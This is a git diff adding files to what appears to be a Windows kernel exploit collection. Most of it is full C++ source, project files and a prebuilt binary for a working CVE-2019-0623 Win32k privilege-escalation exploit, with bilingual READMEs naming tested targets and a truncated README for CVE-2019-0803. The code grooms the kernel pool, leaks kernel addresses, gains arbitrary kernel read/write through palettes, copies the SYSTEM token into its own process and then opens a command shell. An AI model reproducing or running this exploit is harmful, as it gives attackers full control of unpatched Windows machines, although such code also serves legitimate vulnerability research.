diff --git a/00-CVE_EXP/CVE-2019-0623/CVE-2019-0623.exe b/00-CVE_EXP/CVE-2019-0623/CVE-2019-0623.exe new file mode 100644 index 00000000..1de4c16a Binary files /dev/null and b/00-CVE_EXP/CVE-2019-0623/CVE-2019-0623.exe differ diff --git a/00-CVE_EXP/CVE-2019-0623/README.md b/00-CVE_EXP/CVE-2019-0623/README.md new file mode 100644 index 00000000..b9664e9c --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0623/README.md @@ -0,0 +1,52 @@ +### CVE-2019-0623 + +#### 描述 + +Win32k特权提升漏洞 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86/ARM64 | 1803 | | | +| Windows 10 | x64/x86/ARM64 | 1709 | | | +| Windows 10 | x64/x86 | 1703 | | | +| Windows 10 | x64/x86 | 1607 | | | +| Windows 10 | x64/x86 | | | | +| Windows 8.1 | x64/x86 | | | | +| Windows RT 8.1 | | | | | +| Windows 7 | x64/x86 | | SP1 | ✔ | +| Windows Server 2016 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2012 | | | | | +| Windows Server 2008 | x64/x86 | | SP2 | | +| Windows Server 2008 | x64 | R2 | SP1 | | +| Windows Server | | 1803 | | | +| Windows Server | | 1709 | | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0623 +``` + +#### 利用方式 + +编译环境 + +- VS2019(V142)X86 Debug + +改POC只对x86的机器有效,测试机器为Windows 7 SP1 x86 + +![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-0623_win_7_sp1_x86.gif) + + + +#### 分析文章 +- https://paper.seebug.org/832/ + + + +#### 代码来源 + +- [DreamoneOnly](https://github.com/DreamoneOnly/CVE-2019-0623-32-exp) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0623/README_EN.md b/00-CVE_EXP/CVE-2019-0623/README_EN.md new file mode 100644 index 00000000..eb3becee --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0623/README_EN.md @@ -0,0 +1,53 @@ +### CVE-2019-0623 + +#### Describe + +An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k Elevation of Privilege Vulnerability'. + + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86/ARM64 | 1803 | | | +| Windows 10 | x64/x86/ARM64 | 1709 | | | +| Windows 10 | x64/x86 | 1703 | | | +| Windows 10 | x64/x86 | 1607 | | | +| Windows 10 | x64/x86 | | | | +| Windows 8.1 | x64/x86 | | | | +| Windows RT 8.1 | | | | | +| Windows 7 | x64/x86 | | SP1 | ✔ | +| Windows Server 2016 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2012 | | | | | +| Windows Server 2008 | x64/x86 | | SP2 | | +| Windows Server 2008 | x64 | R2 | SP1 | | +| Windows Server | | 1803 | | | +| Windows Server | | 1709 | | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0623 +``` + +#### Utilization + +CompilerEnvironment + +- VS2019(V142)X86 Debug + +POC is only valid for the X86 machine, the test machine is Windows 7 SP1 X86 + +![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-0623_win_7_sp1_x86.gif) + + + +#### Analyze +- https://paper.seebug.org/832/ + + + +#### ProjectSource + +- [DreamoneOnly](https://github.com/DreamoneOnly/CVE-2019-0623-32-exp) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.filters b/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.filters new file mode 100644 index 00000000..e93826fe --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.filters @@ -0,0 +1,33 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + 源文件 + + + 源文件 + + + + + 头文件 + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.sln b/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.sln new file mode 100644 index 00000000..1e1ea466 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30002.166 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2019-0623", "CVE-2019-0623.vcxproj", "{F8C67622-75D0-4FB8-8068-8367978E379E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F8C67622-75D0-4FB8-8068-8367978E379E}.Debug|x64.ActiveCfg = Debug|x64 + {F8C67622-75D0-4FB8-8068-8367978E379E}.Debug|x64.Build.0 = Debug|x64 + {F8C67622-75D0-4FB8-8068-8367978E379E}.Debug|x86.ActiveCfg = Debug|Win32 + {F8C67622-75D0-4FB8-8068-8367978E379E}.Debug|x86.Build.0 = Debug|Win32 + {F8C67622-75D0-4FB8-8068-8367978E379E}.Release|x64.ActiveCfg = Release|x64 + {F8C67622-75D0-4FB8-8068-8367978E379E}.Release|x64.Build.0 = Release|x64 + {F8C67622-75D0-4FB8-8068-8367978E379E}.Release|x86.ActiveCfg = Release|Win32 + {F8C67622-75D0-4FB8-8068-8367978E379E}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {CC1E7F30-FEA3-45D6-9995-FD51E18B7BC2} + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.user b/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.user new file mode 100644 index 00000000..88a55094 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.vcxproj b/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.vcxproj new file mode 100644 index 00000000..de828155 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.vcxproj @@ -0,0 +1,155 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {F8C67622-75D0-4FB8-8068-8367978E379E} + My20188589 + 10.0 + + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.vcxproj.user b/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.vcxproj.user new file mode 100644 index 00000000..88a55094 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0623/src/CVE-2019-0623.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0623/src/FengShui.cpp b/00-CVE_EXP/CVE-2019-0623/src/FengShui.cpp new file mode 100644 index 00000000..379733c7 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0623/src/FengShui.cpp @@ -0,0 +1,95 @@ +#include"leak.h" +#include + + + + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// allocate session pool by CreatePalette +// pool size >= 0xa0 +// +// pool_size = number * 4 + 0x58 + sizeof(_pool_header):{8} +// if (pool_size <= 0xa0) +// pool_size = 0xa0 +// +// size must 8 bytes alignment on 32-bit windows + +bool session_pool_fill_ge_0xa0(USHORT size, ULONG num, HPALETTE * p_hpalette) +{ + bool ret = true; + USHORT tmp_NumEntries = 0x10; + PLOGPALETTE p_logPalette = nullptr; + + if (size > 0xa0) + { + tmp_NumEntries += (size - 0xa0) / 4; + } + + p_logPalette = static_cast(malloc(sizeof(LOGPALETTE) + 4 * tmp_NumEntries)); + if (p_logPalette == NULL) + { + ret = false; + goto end; + } + p_logPalette->palVersion = 0x300; + p_logPalette->palNumEntries = tmp_NumEntries; + + for (size_t i = 0; i < num; i++) + { + p_hpalette[i] = CreatePalette(p_logPalette); + if (p_hpalette[i] == NULL) + { + ret = false; + break; + } + } + + free(p_logPalette); +end: + return ret; +} + + + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// allocate session pool by CreateAcceleratorTable +// pool size >= 0x20 +// +// pool_size = number * 6 + 0x12 + sizeof(_pool_header):{8} +// +// size must 8 bytes alignment on 32-bit windows + +bool session_pool_fill_ge_0x20(USHORT size, ULONG num, HACCEL* p_hAccel) +{ + bool ret = true; + USHORT tmp_cAccel = NULL; + LPACCEL p_logAccel = nullptr; + + if (size > 0x20) + { + tmp_cAccel += (size - 0x20) / 6; + } + + p_logAccel = static_cast(malloc(sizeof(LOGPALETTE) * tmp_cAccel)); + if (p_logAccel == NULL) + { + ret = false; + goto end; + } + + for (size_t i = 0; i < num; i++) + { + p_hAccel[i] = CreateAcceleratorTable(p_logAccel, tmp_cAccel); + if (p_hAccel[i] == NULL) + { + ret = false; + break; + } + } + + free(p_logAccel); +end: + return ret; +} diff --git a/00-CVE_EXP/CVE-2019-0623/src/leak.cpp b/00-CVE_EXP/CVE-2019-0623/src/leak.cpp new file mode 100644 index 00000000..151b89c1 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0623/src/leak.cpp @@ -0,0 +1,101 @@ +#include"leak.h" + + + + + + + + + + + +leak::leak() +{ + GetXXXHmValidateHandle(); + GetGdiSharedHandleTable(); + Get_gSharedInfo_ulClientDelta(); +} + +void leak::GetXXXHmValidateHandle() +{ + + auto hModule = LoadLibrary(L"user32.dll"); + auto func = GetProcAddress(hModule, "IsMenu"); + for (size_t i = 0; i < 0x1000; i++) + { + BYTE* test = (BYTE*)func + i; + if (*test == 0xE8) + { +#ifdef _AMD64_ + ULONG_PTR tmp = (ULONG_PTR)((ULONG_PTR) * (PULONG)(test + 1) | 0xffffffff00000000); +#else + ULONG_PTR tmp = (ULONG_PTR) * (PULONG)(test + 1); +#endif + HmValidateHandle = (_xxxHmValidateHandle)(test + tmp + 5); + break; + } + } + return; +} + +void leak::GetGdiSharedHandleTable() +{ + PULONG_PTR teb = (PULONG_PTR)NtCurrentTeb(); + +#ifdef _AMD64_ + PULONG_PTR peb = *(PULONG_PTR*)((PBYTE)teb + 0x60); + GdiSharedHandleTable = (pGdiCell) * (PULONG_PTR*)((PBYTE)peb + 0xf8); +#else + PULONG_PTR peb = *(PULONG_PTR*)((PBYTE)teb + 0x30); + GdiSharedHandleTable = (pGdiCell) * (PULONG_PTR*)((PBYTE)peb + 0x94); +#endif + + return; +} + +void leak::Get_gSharedInfo_ulClientDelta() +{ + auto pMenu = CreateMenu(); + + /* get g_DeltaDesktopHeap */ + ULONG_PTR Teb = (ULONG_PTR)NtCurrentTeb(); +#ifdef _AMD64_ + g_DeltaDesktopHeap = *(ULONG_PTR*)(Teb + 0x800 + 0x28); //teb->Win32ClientInfo.ulClientDelta +#else + g_DeltaDesktopHeap = *(ULONG_PTR*)(Teb + 0x6CC + 0x1C); +#endif + + auto hModule = GetModuleHandleW(L"user32.dll"); + gSharedInfo = reinterpret_cast(GetProcAddress(hModule, "gSharedInfo")); + + DestroyMenu(pMenu); +} + +PVOID leak::GetGdiKernelAddress(HANDLE hGdi) +{ + return (GdiSharedHandleTable + LOWORD(hGdi))->pKernelAddress; +} + +PVOID leak::GetUserObjectAddressBygSharedInfo(HANDLE hWnd, PULONG_PTR UserAddr) +{ + PVOID ret = nullptr; + pHandleEntry tmp = nullptr; + + for (ULONG_PTR i = 0; i < gSharedInfo->psi->cHandleEntries; i++) + { + tmp = gSharedInfo->aheList + i; + HANDLE handle = reinterpret_cast(tmp->wUniq << 0x10 | i); + if (handle == hWnd) + { + ret = tmp->phead; + if (UserAddr != NULL) + { + *UserAddr = (ULONG_PTR)ret - g_DeltaDesktopHeap; + } + + } + } + + return ret; +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0623/src/leak.h b/00-CVE_EXP/CVE-2019-0623/src/leak.h new file mode 100644 index 00000000..296912f8 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0623/src/leak.h @@ -0,0 +1,114 @@ +#pragma once +#include + +/* + +Microsoft_Code_Name Windows_10_Version Microsoft_Marketing_Name Release_Date +Threshold 1 (TH1) 1507 ------ July 2015 +Threshold 2 (TH2) 1511 ------ November 2015 +Redstone 1 (RS1) 1607 Anniversary Update August 2016 +Redstone 2 (RS2) 1703 Creators Update April 2017 +Redstone 3 (RS3) 1709 Fall Creators Update October 2017 +Redstone 4 (RS4) 1803 April 2018 Update April 2018 + +*/ + + + + + + +typedef enum class _HANDLE_TYPE : ULONG_PTR +{ + TYPE_FREE = 0, + TYPE_WINDOW = 1, + TYPE_MENU = 2, + TYPE_CURSOR = 3, + TYPE_SETWINDOWPOS = 4, + TYPE_HOOK = 5, + TYPE_CLIPDATA = 6, + TYPE_CALLPROC = 7, + TYPE_ACCELTABLE = 8, + TYPE_DDEACCESS = 9, + TYPE_DDECONV = 10, + TYPE_DDEXACT = 11, + TYPE_MONITOR = 12, + TYPE_KBDLAYOUT = 13, + TYPE_KBDFILE = 14, + TYPE_WINEVENTHOOK = 15, + TYPE_TIMER = 16, + TYPE_INPUTCONTEXT = 17, + TYPE_HIDDATA = 18, + TYPE_DEVICEINFO = 19, + TYPE_TOUCHINPUTINFO = 20, + TYPE_GESTUREINFOOBJ = 21, + TYPE_CTYPES, + TYPE_GENERIC = 255 +} HANDLE_TYPE, * PHANDLE_TYPE; + + +typedef struct _GdiCell +{ + PVOID pKernelAddress; + UINT16 wProcessIdl; + UINT16 wCount; + UINT16 wUpper; + UINT16 uType; + PVOID pUserAddress; +}GdiCell, * pGdiCell; + +typedef struct _HandleEntry +{ + PULONG_PTR phead; + PULONG_PTR pOwner; + BYTE bType; + BYTE bFlalgs; + USHORT wUniq; +}HandleEntry, * pHandleEntry; + +typedef struct _tagServerInfo +{ + ULONG dwSRVIFlags; + ULONG_PTR cHandleEntries; + //... +}tagServerInfo, * ptagServerInfo; + +typedef struct _tagSharedInfo +{ + ptagServerInfo psi; + pHandleEntry aheList; + //... +}tagSharedInfo, * PtagSharedInfo; + + +using _xxxHmValidateHandle = PVOID(__fastcall*)(HANDLE hwnd, ULONG_PTR handleType); + + + + + + +class leak +{ +public: + leak(); + ~leak() {}; + PVOID GetGdiKernelAddress(HANDLE hGdi); // RS1֮ǰãGDI Object + PVOID GetUserObjectAddressBygSharedInfo(HANDLE hWnd,PULONG_PTR UserAddr); // RS2֮ǰãUser Obejct + _xxxHmValidateHandle HmValidateHandle; // RS4֮ǰãûӳĵַUser ObjectԸheap->pSelfҵں˵ַ + ULONG_PTR g_DeltaDesktopHeap; + +private: + void GetGdiSharedHandleTable(); + void Get_gSharedInfo_ulClientDelta(); + void GetXXXHmValidateHandle(); + +public: + pGdiCell GdiSharedHandleTable; + PtagSharedInfo gSharedInfo; +}; + + + + + diff --git a/00-CVE_EXP/CVE-2019-0623/src/main.cpp b/00-CVE_EXP/CVE-2019-0623/src/main.cpp new file mode 100644 index 00000000..2cec1229 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0623/src/main.cpp @@ -0,0 +1,447 @@ +#include "leak.h" +#include + +using namespace std; + + + + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// variables +// + +leak p_leak; +HPALETTE g_hPalettle[0x1000]; +ULONG_PTR g_KernelPalettle[0x1000]; +ULONG_PTR g_hDC[0x3000]; +HPALETTE hManage,hWorker; +ULONG_PTR Manage_index; +PVOID g_PsInitialSystemProcess; + +constexpr auto number = 0x500; +HACCEL hAccel[number]; + + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// prototypes +// + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, * PUNICODE_STRING; + +typedef struct tagCLSMENUNAME +{ + LPSTR pszClientAnsiMenuName; + LPWSTR pwszClientUnicodeMenuName; + PUNICODE_STRING pusMenuName; +} CLSMENUNAME, * PCLSMENUNAME; + + +typedef NTSTATUS(__stdcall* _ZwQuerySystemInformation)( + _In_ DWORD SystemInformationClass, + _Inout_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ); + + +typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { + HANDLE Section; + PVOID MappedBase; + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; +} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY; + + +typedef struct _SYSTEM_MODULE_INFORMATION { + ULONG Count; + SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; +} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; + + + +bool session_pool_fill_ge_0xa0(USHORT size, ULONG num, HPALETTE* p_hpalette); +bool session_pool_fill_ge_0x20(USHORT size, ULONG num, HACCEL* p_hAccel); + + + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// Release tagCLS +// + + +__declspec(naked) +BOOL __stdcall NtUserUnregisterClass( + IN PUNICODE_STRING pstrClassName, + IN HINSTANCE hInstance, + OUT PCLSMENUNAME pcmn) +{ + __asm + { + mov eax, 0x1263 + mov edx, 0x7FFE0300 + call dword ptr[edx] + retn 0x0C + } +} + + +BOOL ReleaseClass( + _In_ LPCWSTR lpClassName, + _In_opt_ HINSTANCE hInstance +) +{ + UNICODE_STRING ClassName = { 0 }; + CLSMENUNAME pcmn = { 0 }; + + ClassName.Buffer = (PWSTR)lpClassName; + ClassName.Length = (USHORT)wcslen(lpClassName); + ClassName.MaximumLength = ClassName.Length; + + return NtUserUnregisterClass(&ClassName, hInstance, &pcmn); +} + + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// һռ +// + +__declspec(naked) +void __stdcall NtGdiSetLinkedUFIs( + IN HDC hdc, + IN char* pufiLinks, + IN ULONG uNumUFIs) +{ + __asm + { + mov eax, 0x111D + mov edx, 0x7FFE0300 + call dword ptr[edx] + retn 0x0C + } +} + +void SparyDC() +{ + char buf[0x200] = { 0 }; + memset(buf, 0xCC, 0x200); + + for (ULONG_PTR i = 0; i < 0x1000; i++) + { + //__asm int 3 + NtGdiSetLinkedUFIs((HDC)g_hDC[i], buf, 0x13); // a2 = (pool_size - 8) / 8 + } + + cout << "hdc address:0x" << hex << g_hDC << endl; +} + + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// modify hWorker's pointer +// + +void modify_palPoniter() +{ + char palette_Manage[0xa0] = { 0 }; + + *(PULONG_PTR)palette_Manage = (ULONG_PTR)hManage; + *(PULONG_PTR)(palette_Manage + 8) = 0x80000000; + *(PULONG_PTR)(palette_Manage + 0x10) = 0x00000501; + *(PULONG_PTR)(palette_Manage + 0x14) = 0x00000010; + *(PULONG_PTR)(palette_Manage + 0x4C) = g_KernelPalettle[0] + 0x4C; + + hWorker = g_hPalettle[0]; + + for (ULONG_PTR i = 0; i < 0x1000; i++) + { + //__asm int 3 + NtGdiSetLinkedUFIs((HDC)g_hDC[i], palette_Manage, 0xA); + } + +} + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// get PsInitialSystemProcess +// + +void get_PsInitialSystemProcess() +{ + DWORD SysModuleSize; + PVOID NtKernelAddr; + PVOID NtKernelAddr_InUser; + PVOID PsInitialSystemProcess; + char* ImageName; + char NtKernelImageName[256] = { 0 }; + PSYSTEM_MODULE_INFORMATION SysModule; + _ZwQuerySystemInformation ZwQuerySystemInformation; + + + ZwQuerySystemInformation = (_ZwQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQuerySystemInformation"); + ZwQuerySystemInformation(11, NULL, NULL, &SysModuleSize); + SysModule = (PSYSTEM_MODULE_INFORMATION)malloc(SysModuleSize); + ZwQuerySystemInformation(11, SysModule, SysModuleSize, &SysModuleSize); + + NtKernelAddr = SysModule->Module[0].Base; + strcpy_s(NtKernelImageName, 256, SysModule->Module[0].ImageName); + ImageName = strrchr(NtKernelImageName, '\\') + 1; + NtKernelAddr_InUser = LoadLibraryA(ImageName); + PsInitialSystemProcess = GetProcAddress((HMODULE)NtKernelAddr_InUser, "PsInitialSystemProcess"); + g_PsInitialSystemProcess = (PVOID)((DWORD)PsInitialSystemProcess - (DWORD)NtKernelAddr_InUser + (DWORD)NtKernelAddr); + + cout << "PsInitialSystemProcess :0x" << hex << g_PsInitialSystemProcess << endl; +} + + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// arbitrary read && wirute +// + +void ar_read(ULONG_PTR addr,PULONG_PTR data) +{ + + SetPaletteEntries(hManage, 0, 1, (PALETTEENTRY*)&addr); + GetPaletteEntries(hWorker, 0, 1, (PALETTEENTRY*)data); +} + + +void ar_write(ULONG_PTR addr, PULONG_PTR data) +{ + SetPaletteEntries(hManage, 0, 1, (PALETTEENTRY*)&addr); + SetPaletteEntries(hWorker, 0, 1, (PALETTEENTRY*)data); +} + + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// fix dc +// + +void fix_dc() +{ + + ULONG_PTR palette_hendleEntry = (ULONG_PTR)(p_leak.GdiSharedHandleTable + LOWORD(hManage)); + ULONG_PTR pte_addr = 0xC0000000 + (palette_hendleEntry >> 12 << 3) ; + ULONG_PTR pte_data; + + ar_read(pte_addr, &pte_data); + pte_data = pte_data | 0x2; + ar_write(pte_addr, &pte_data); + + for (size_t i = 0; i < 4; i++) + { + *(PULONG_PTR)(palette_hendleEntry + i) = 0x0; + } + +} + + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// copy system token +// + +constexpr auto ActiveProcessLinks = 0xb8; +constexpr auto Pid = 0xb4; +constexpr auto Token = 0xf8; + +void copy_token() +{ + ULONG_PTR system_eprocess; + ULONG_PTR current_pid = GetCurrentProcessId(); + ULONG_PTR pid; + ULONG_PTR system_token; + ULONG_PTR nextProcess; + + get_PsInitialSystemProcess(); + ar_read((ULONG_PTR)g_PsInitialSystemProcess, &system_eprocess); + + cout << "system_eprocess : 0x" << hex << system_eprocess << endl; + + //__asm int 3 + + //find current process's eprocess + ar_read(system_eprocess + ActiveProcessLinks, &nextProcess); + nextProcess -= ActiveProcessLinks; + + do + { + ar_read(nextProcess + Pid, &pid); + + if (pid == current_pid) + { + break; + } + + ar_read(nextProcess + ActiveProcessLinks, &nextProcess); + nextProcess -= ActiveProcessLinks; + + } while (nextProcess != system_eprocess); + + cout << "current_eprocess : 0x" << hex << nextProcess << endl; + + //copy system token + ar_read(system_eprocess + Token, &system_token); + ar_write(nextProcess + Token, &system_token); +} + + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// double free baseCLS and CloneCLS's lpszMenuName +// + +DWORD WINAPI ThreadProc(_In_ LPVOID lpParameter +) +{ + + ULONG_PTR UserMap; + + //Clone Class + auto hwnd = CreateWindowEx(NULL, L"associated class", NULL, WS_DISABLED, NULL, NULL, 1, 1, NULL, NULL, GetModuleHandle(NULL), NULL); + auto Kernel = p_leak.GetUserObjectAddressBygSharedInfo(hwnd, &UserMap); + + cout << "hwnd kernel: 0x" << hex << Kernel << endl; + + ULONG_PTR cls = *(PULONG_PTR)(UserMap + 0x64); + ULONG_PTR lpszMenuName = *(PULONG_PTR)(cls - p_leak.g_DeltaDesktopHeap + 0x50); + + cout << "lpszMenuName kernel: 0x" << hex << lpszMenuName << endl; + + Sleep(200); + //__asm int 3 + + HACCEL haccel; + session_pool_fill_ge_0x20(0xa0, 1, &haccel); + + + //һͷ + SetClassLongPtr(hwnd, GCLP_MENUNAME, (LONG)L"xxx"); + DestroyAcceleratorTable(haccel); + + SparyDC(); + + //__asm int 3 + + + //ڶͷ + DestroyWindow(hwnd); + + if (!ReleaseClass(L"associated class", GetModuleHandle(0))) + { + cout << "UnregisterClass error" << endl; + } + + + if (!session_pool_fill_ge_0xa0(0xa0, 0x1000, g_hPalettle)) + { + cout << "error " << endl; + } + + + //֤paletteǷɹ + for (size_t i = 0; i < 0x1000; i++) + { + g_KernelPalettle[i] = (ULONG_PTR)p_leak.GetGdiKernelAddress(g_hPalettle[i]); + + if (lpszMenuName == g_KernelPalettle[i]) + { + Manage_index = i; + hManage = g_hPalettle[Manage_index]; + cout << "success fill 0xa0 by palette" << endl; + cout << "Manage palette kernel: 0x" << hex << g_KernelPalettle[Manage_index] << endl; + cout << "palette : 0x" << hex << hManage << endl; + } + } + + modify_palPoniter(); + + copy_token(); + + fix_dc(); + + return 0; +} + + + +/////////////////////////////////////////////////////////////////////////////////////////////// +// +// main +// + +int main() +{ + + auto hDesk = CreateDesktop(L"newDesktop", NULL, NULL, NULL, DESKTOP_CREATEWINDOW, NULL); + + if (!SetThreadDesktop(hDesk)) + { + cout << "SetThreadDesktop error" << endl; + } + + + // pool fengshui + HPALETTE hpalette[0x100]; + + if (!session_pool_fill_ge_0x20(0xC00, number, hAccel)) + { + cout << "error " << endl; + } + + if (!session_pool_fill_ge_0x20(0x360, number, hAccel)) + { + cout << "error " << endl; + } + + if (!session_pool_fill_ge_0xa0(0xa0, 0x100, hpalette)) + { + cout << "error " << endl; + } + + // allocate 0xa0 size lpszMenuName + wchar_t lpszMenuName[0x200] = { 0 }; + + for (size_t i = 0; i < 0x48; i++) // (pool_size - 8) / 2 - 4 + { + *(lpszMenuName + i) = 0xbeef; + } + + WNDCLASSEX wndClass = { 0 }; + wndClass.cbSize = sizeof(WNDCLASSEX); + wndClass.lpszClassName = L"associated class"; + wndClass.lpszMenuName = lpszMenuName; + wndClass.hInstance = GetModuleHandle(NULL); + wndClass.lpfnWndProc = DefWindowProc; + RegisterClassEx(&wndClass); + + //Create DC for NtGdiSetLinkedUFIs + for (ULONG_PTR i = 0; i < 0x1000; i++) + { + g_hDC[i] = (ULONG_PTR)CreateCompatibleDC(NULL); + } + + //start exploit + auto hThread = CreateThread(0, 0, ThreadProc, 0, 0, 0); + + WaitForSingleObject(hThread, INFINITE); + + system("cmd"); + + return true; +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0803/README.md b/00-CVE_EXP/CVE-2019-0803/README.md new file mode 100644 index 00000000..8f1449fb --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0803/README.md @@ -0,0 +1,48 @@ +### CVE-2019-0803 + +#### 描述 + +Win32k 权限提升漏洞 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x86/x64 | | | | +| Windows 10 | x86/x64 | 1607 | | | +| Windows 10 | x86/x64 | 1703 | | | +| Windows 10 | x86/x64/ARM64 | 1709 | | | +| Windows 10 | x86/x64/ARM64 | 1803 | | | +| Windows 10 | x86/x64/ARM64 | 1809 | | | +| Windows 7 | x86/x64 | | SP1 | | +| Windows 8.1 | x86/x64 | | | | +| Windows Rt 8.1 | | | | | +| Windows Server 2008 | x86/x64 | | SP2 | ✔ | +| Windows Server 2008 | x86/x64 | R2 | SP1 | | +| Windows Server 2012 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server | | 1709 | | | +| Windows Server | | 1803 | | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0803 +``` + +#### 利用方式 + +编译环境 + +- VS2019(V142)X64 Debug + +这里测试机器是Windows Server 2008 R2 x64,上GIF图 + +![11](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-0803_win2008_r2_x64.gif) + +#### 分析文章 +- https://bbs.pediy.com/thread-260289.htm +- https://www.jianshu.com/p/91e0f79f36eb +- https://zhuanlan.zhihu.com/p/62520006 \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0803/README_EN.md b/00-CVE_EXP/CVE-2019-0803/README_EN.md new file mode 100644 index 00000000..286c0111 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0803/README_EN.md @@ -0,0 +1,48 @@ +### CVE-2019-0803 + +#### Describe + +An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k Elevation of Privilege 